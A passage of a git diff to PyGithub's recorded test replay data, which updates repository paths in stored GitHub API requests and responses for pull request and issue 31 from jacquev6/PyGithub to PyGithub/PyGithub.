d866fc43833802ab553e5ff8581c81bb00dd433","ref":"topic/RewriteWithGeneratedCode","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","id":327146}},"review_comments":1,"changed_files":45,"merge_commit_sha":"28ae6dd10ebccd5eaf8db8dacb5b699ee7f4a663","closed_at":"2012-05-27T10:29:07Z","number":31,"issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/31","url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31","milestone":null,"updated_at":"2012-11-03T08:19:40Z","patch_url":"https://github.com/jacquev6/PyGithub/pull/31.patch","html_url":"https://github.com/jacquev6/PyGithub/pull/31","merged_by":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","id":327146},"commits":3,"state":"closed","mergeable":false,"_links":{"review_comments":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31/comments"},"html":{"href":"https://github.com/jacquev6/PyGithub/pull/31"},"self":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31"},"issue":{"href":"https://api.github.com/repos/jacquev6/PyGithub/issues/31"},"comments":{"href":"https://api.github.com/repos/jacquev6/PyGithub/issues/31/comments"}},"head":{"label":"BeaverSoftware:master","repo":null,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","ref":"master","user":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","login":"BeaverSoftware","id":1424031}},"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","id":327146},"assignees":[{"url":"https://api.github.com/users/stuglaser","gravatar_id":"","avatar_url":"https://avatars.githubusercontent.com/u/1527117?v=3","login":"stuglaser","id":1527117},{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","id":327146}],"diff_url":"https://github.com/jacquev6/PyGithub/pull/31.diff","comments":1,"created_at":"2012-05-27T09:25:36Z","id":1436215,"merged":true,"mergeable_state":"dirty","body":"Body edited by PyGithub","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","id":327146},"title":"Title edited by PyGithub","labels":[{"id":264033039,"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/refactoring","name":"refactoring","color":"eb6420","default":false}]} +[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jun 2023 08:27:46 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"a41ee9edeaca5340c5132c726626daebfd3d9755ecc6f660b86b181dd45e202c"'), ('Last-Modified', 'Tue, 30 May 2023 15:23:13 GMT'), ('X-OAuth-Scopes', 'public_repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4958'), ('X-RateLimit-Reset', '1686126614'), ('X-RateLimit-Used', '42'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '83F0:276E:81B6DB:830DD7:64803F81')] +{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31","id":1436215,"node_id":"MDExOlB1bGxSZXF1ZXN0MTQzNjIxNQ==","html_url":"https://github.com/PyGithub/PyGithub/pull/31","diff_url":"https://github.com/PyGithub/PyGithub/pull/31.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/31.patch","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/31","number":31,"state":"closed","locked":false,"title":"Title edited by PyGithub","user":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"body":"Body edited by PyGithub\n","created_at":"2012-05-27T09:25:36Z","updated_at":"2018-06-25T12:54:43Z","closed_at":"2012-05-27T10:29:07Z","merged_at":"2012-05-27T10:29:07Z","merge_commit_sha":"28ae6dd10ebccd5eaf8db8dacb5b699ee7f4a663","assignee":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"assignees":[{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false}],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"draft":false,"commits_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31/commits","review_comments_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31/comments","review_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments{/number}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/31/comments","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/8a4f306d4b223682dd19410d4a9150636ebe4206","head":{"label":null,"ref":"master","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","user":null,"repo":null},"base":{"label":"PyGithub:topic/RewriteWithGeneratedCode","ref":"topic/RewriteWithGeneratedCode","sha":"ed866fc43833802ab553e5ff8581c81bb00dd433","user":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"repo":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-06-07T04:02:03Z","pushed_at":"2023-06-07T06:56:40Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13881,"stargazers_count":6051,"watchers_count":6051,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1635,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":252,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1635,"open_issues":252,"watchers":6051,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/31"},"issue":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/31"},"comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/31/comments"},"review_comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31/comments"},"review_comment":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31/commits"},"statuses":{"href":"https://api.github.com/repos/PyGithub/PyGithub/statuses/8a4f306d4b223682dd19410d4a9150636ebe4206"}},"author_association":"MEMBER","auto_merge":null,"active_lock_reason":null,"merged":true,"mergeable":false,"rebaseable":false,"mergeable_state":"dirty","merged_by":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"comments":1,"review_comments":2,"maintainer_can_modify":false,"commits":3,"additions":511,"deletions":384,"changed_files":45} https GET diff --git a/tests/ReplayData/PullRequest.testAddAndRemoveAssignees.txt b/tests/ReplayData/PullRequest.testAddAndRemoveAssignees.txt index e88579ce0d..64841218b8 100644 --- a/tests/ReplayData/PullRequest.testAddAndRemoveAssignees.txt +++ b/tests/ReplayData/PullRequest.testAddAndRemoveAssignees.txt @@ -13,20 +13,20 @@ https POST api.github.com None -/repos/jacquev6/PyGithub/issues/31/assignees +/repos/PyGithub/PyGithub/issues/31/assignees {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"assignees":["jayfk","jzelinskie"]} 201 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d135d74d2ea2159d044676a220d41d3a"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"updated_at":"2012-05-26T14:59:33Z","body":"Body edited by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/31","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/1","number":1,"title":"Version 0.4","due_on":"2012-03-13T07:00:00Z","open_issues":0,"created_at":"2012-03-08T12:22:10Z","state":"closed","description":"","id":93546,"closed_issues":3},"number":31,"closed_by":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"assignees":[{"login":"jacquev6","id": 327146,"avatar_url":"https://avatars.githubusercontent.com/u/327146?v=3","gravatar_id":"","url":"https://api.github.com/users/jacquev6"},{"login":"stuglaser","id": 1527117,"avatar_url":"https://avatars.githubusercontent.com/u/1527117?v=3","gravatar_id":"","url":"https://api.github.com/users/stuglaser"},{"login":"jayfk","id": 2930472,"avatar_url":"https://avatars.githubusercontent.com/u/2930472?v=3","gravatar_id":"","url":"https://api.github.com/users/jayfk"},{"login":"jzelinskie","id": 343539,"avatar_url":"https://avatars.githubusercontent.com/u/343539?v=3","gravatar_id":"","url":"https://api.github.com/users/jzelinskie"}],"closed_at":"2012-05-26T14:59:33Z","title":"Issue created by PyGithub","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-05-19T10:38:23Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4653757,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/31"} +{"updated_at":"2012-05-26T14:59:33Z","body":"Body edited by PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/31","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/1","number":1,"title":"Version 0.4","due_on":"2012-03-13T07:00:00Z","open_issues":0,"created_at":"2012-03-08T12:22:10Z","state":"closed","description":"","id":93546,"closed_issues":3},"number":31,"closed_by":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"assignees":[{"login":"jacquev6","id": 327146,"avatar_url":"https://avatars.githubusercontent.com/u/327146?v=3","gravatar_id":"","url":"https://api.github.com/users/jacquev6"},{"login":"stuglaser","id": 1527117,"avatar_url":"https://avatars.githubusercontent.com/u/1527117?v=3","gravatar_id":"","url":"https://api.github.com/users/stuglaser"},{"login":"jayfk","id": 2930472,"avatar_url":"https://avatars.githubusercontent.com/u/2930472?v=3","gravatar_id":"","url":"https://api.github.com/users/jayfk"},{"login":"jzelinskie","id": 343539,"avatar_url":"https://avatars.githubusercontent.com/u/343539?v=3","gravatar_id":"","url":"https://api.github.com/users/jzelinskie"}],"closed_at":"2012-05-26T14:59:33Z","title":"Issue created by PyGithub","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-05-19T10:38:23Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4653757,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/31"} https DELETE api.github.com None -/repos/jacquev6/PyGithub/issues/31/assignees +/repos/PyGithub/PyGithub/issues/31/assignees {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"assignees":["jayfk","jzelinskie"]} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d135d74d2ea2159d044676a220d41d3a"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"updated_at":"2012-05-26T14:59:33Z","body":"Body edited by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/31","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/1","number":1,"title":"Version 0.4","due_on":"2012-03-13T07:00:00Z","open_issues":0,"created_at":"2012-03-08T12:22:10Z","state":"closed","description":"","id":93546,"closed_issues":3},"number":31,"closed_by":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"assignees":[{"login":"jacquev6","id": 327146,"avatar_url":"https://avatars.githubusercontent.com/u/327146?v=3","gravatar_id":"","url":"https://api.github.com/users/jacquev6"},{"login":"stuglaser","id": 1527117,"avatar_url":"https://avatars.githubusercontent.com/u/1527117?v=3","gravatar_id":"","url":"https://api.github.com/users/stuglaser"}],"closed_at":"2012-05-26T14:59:33Z","title":"Issue created by PyGithub","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-05-19T10:38:23Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4653757,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/31"} +{"updated_at":"2012-05-26T14:59:33Z","body":"Body edited by PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/31","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/1","number":1,"title":"Version 0.4","due_on":"2012-03-13T07:00:00Z","open_issues":0,"created_at":"2012-03-08T12:22:10Z","state":"closed","description":"","id":93546,"closed_issues":3},"number":31,"closed_by":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"assignees":[{"login":"jacquev6","id": 327146,"avatar_url":"https://avatars.githubusercontent.com/u/327146?v=3","gravatar_id":"","url":"https://api.github.com/users/jacquev6"},{"login":"stuglaser","id": 1527117,"avatar_url":"https://avatars.githubusercontent.com/u/1527117?v=3","gravatar_id":"","url":"https://api.github.com/users/stuglaser"}],"closed_at":"2012-05-26T14:59:33Z","title":"Issue created by PyGithub","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-05-19T10:38:23Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4653757,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/31"} diff --git a/tests/ReplayData/PullRequest.testAddAndRemoveLabels.txt b/tests/ReplayData/PullRequest.testAddAndRemoveLabels.txt index a9b5bfcfc0..aeab1a301d 100644 --- a/tests/ReplayData/PullRequest.testAddAndRemoveLabels.txt +++ b/tests/ReplayData/PullRequest.testAddAndRemoveLabels.txt @@ -2,98 +2,97 @@ https GET api.github.com None -/repos/jacquev6/PyGithub/labels/wip +/repos/PyGithub/PyGithub/labels/wip {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), 